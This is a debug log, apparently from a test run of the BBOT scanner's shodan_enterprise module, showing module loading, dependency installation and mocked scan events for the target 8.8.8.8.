09:15:00,106 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-02 09:15:00,106 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-02 09:15:00,107 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-02 09:15:00,108 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-02 09:15:00,108 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-02 09:15:00,108 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates +2026-03-02 09:15:00,109 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz +2026-03-02 09:15:00,110 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-02 09:15:00,110 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output +2026-03-02 09:15:00,111 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-02 09:15:00,111 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-02 09:15:00,112 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-02 09:15:00,112 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-02 09:15:00,113 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-02 09:15:00,113 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-02 09:15:00,114 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-02 09:15:00,115 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-02 09:15:00,115 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-02 09:15:00,115 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-02 09:15:00,116 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-02 09:15:00,116 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-02 09:15:00,117 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-02 09:15:00,117 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-02 09:15:00,118 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-02 09:15:00,118 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-02 09:15:00,119 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-02 09:15:00,119 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-02 09:15:00,120 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-02 09:15:00,120 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-02 09:15:00,121 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-02 09:15:00,121 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal +2026-03-02 09:15:00,122 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-02 09:15:00,122 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-02 09:15:00,122 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-02 09:15:00,123 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-02 09:15:00,123 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-02 09:15:00,124 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-02 09:15:00,124 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly +2026-03-02 09:15:00,124 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-02 09:15:00,125 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report +2026-03-02 09:15:00,125 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-02 09:15:00,126 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-02 09:15:00,951 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:15:00,952 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:15:00,952 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-02 09:15:01,050 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-02 09:15:01,439 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-02 09:15:01,439 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-02 09:15:01,439 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-02 09:15:01,440 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-02 09:15:01,570 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-02 09:15:01,571 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-02 09:15:01,677 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-02 09:15:01,679 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-02 09:15:01,704 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) +2026-03-02 09:15:01,706 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-02 09:15:01,706 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general +2026-03-02 09:15:02,118 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-02 09:15:02,118 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-02 09:15:04,665 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful +2026-03-02 09:15:04,666 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-02 09:15:04,666 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-02 09:15:08,454 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-02 09:15:08,455 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-02 09:15:08,458 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:15:08,459 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. +2026-03-02 09:15:08,459 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" +2026-03-02 09:15:08,459 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-02 09:15:08,461 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/4o5c09p9puhez3cn3sn0 +2026-03-02 09:15:09,157 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) +2026-03-02 09:15:09,158 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-02 09:15:09,158 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:15:09,159 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-02 09:15:09,159 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:15:09,159 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-02 09:15:09,159 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:15:09,160 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-02 09:15:09,160 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise +2026-03-02 09:15:09,227 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" +2026-03-02 09:15:09,227 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-02 09:15:09,227 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive +2026-03-02 09:15:09,229 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" +2026-03-02 09:15:09,229 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" +2026-03-02 09:15:09,229 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-02 09:15:09,230 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python +2026-03-02 09:15:09,230 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" +2026-03-02 09:15:09,230 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-02 09:15:09,231 [VERBOSE] bbot.scanner logger.py:151 Setting up modules +2026-03-02 09:15:09,231 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-02 09:15:09,231 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-02 09:15:09,231 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-02 09:15:09,231 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-02 09:15:09,232 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-02 09:15:09,232 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-02 09:15:09,232 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-02 09:15:09,233 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-02 09:15:09,233 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-02 09:15:09,233 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-02 09:15:09,233 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-02 09:15:09,233 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-02 09:15:09,234 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-02 09:15:09,234 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-02 09:15:09,234 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-02 09:15:09,234 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-02 09:15:09,234 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-02 09:15:09,234 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-02 09:15:09,235 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-02 09:15:09,235 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-02 09:15:09,235 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-02 09:15:09,235 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-02 09:15:09,235 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-02 09:15:09,235 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-02 09:15:09,236 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-02 09:15:09,236 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-02 09:15:09,236 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-02 09:15:09,236 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-02 09:15:09,236 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-02 09:15:09,237 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-02 09:15:09,237 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-02 09:15:09,237 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-02 09:15:09,238 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. +2026-03-02 09:15:09,238 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-02 09:15:09,238 [DEBUG] bbot base.py:111 Starting scan +2026-03-02 09:15:09,318 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_wwe9k1fxd4 +2026-03-02 09:15:09,318 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops +2026-03-02 09:15:09,386 [VERBOSE] bbot.scanner logger.py:151 6 modules started +2026-03-02 09:15:09,386 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-02 09:15:09,387 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-02 09:15:09,388 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-03-02 09:15:09,488 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check +2026-03-02 09:15:09,488 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-03-02 09:15:09,490 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target +2026-03-02 09:15:09,490 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-03-02 09:15:09,491 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:15:09,492 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:15:09,492 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-03-02 09:15:09,493 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-03-02 09:15:09,494 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:15:09,495 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 09:15:09,495 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:15:09,496 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:15:09,496 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:15:09,497 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:15:09,498 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-02 09:15:09,500 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-03-02 09:15:09,500 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-03-02 09:15:09,501 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-03-02 09:15:09,501 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-03-02 09:15:09,501 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-03-02 09:15:09,502 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-03-02 09:15:09,502 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-03-02 09:15:09,502 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-03-02 09:15:09,502 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-03-02 09:15:09,505 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-03-02 09:15:09,587 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-02 09:15:09,588 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:15:09,589 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-03-02 09:15:09,589 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-03-02 09:15:09,595 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:15:09,595 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:15:09,596 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:15:09,596 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:15:09,597 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,597 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:15:09,597 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:15:09,598 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:15:09,598 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:15:09,599 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:15:09,599 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:15:09,599 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:15:09,599 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:15:09,600 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,600 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:15:09,600 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:15:09,601 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:15:09,601 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:15:09,601 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:15:09,601 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,602 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:15:09,602 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:15:09,602 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:15:09,602 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:15:09,603 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:15:09,603 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:15:09,604 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) because precheck succeeded +2026-03-02 09:15:09,604 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check +2026-03-02 09:15:09,604 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) +2026-03-02 09:15:09,604 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 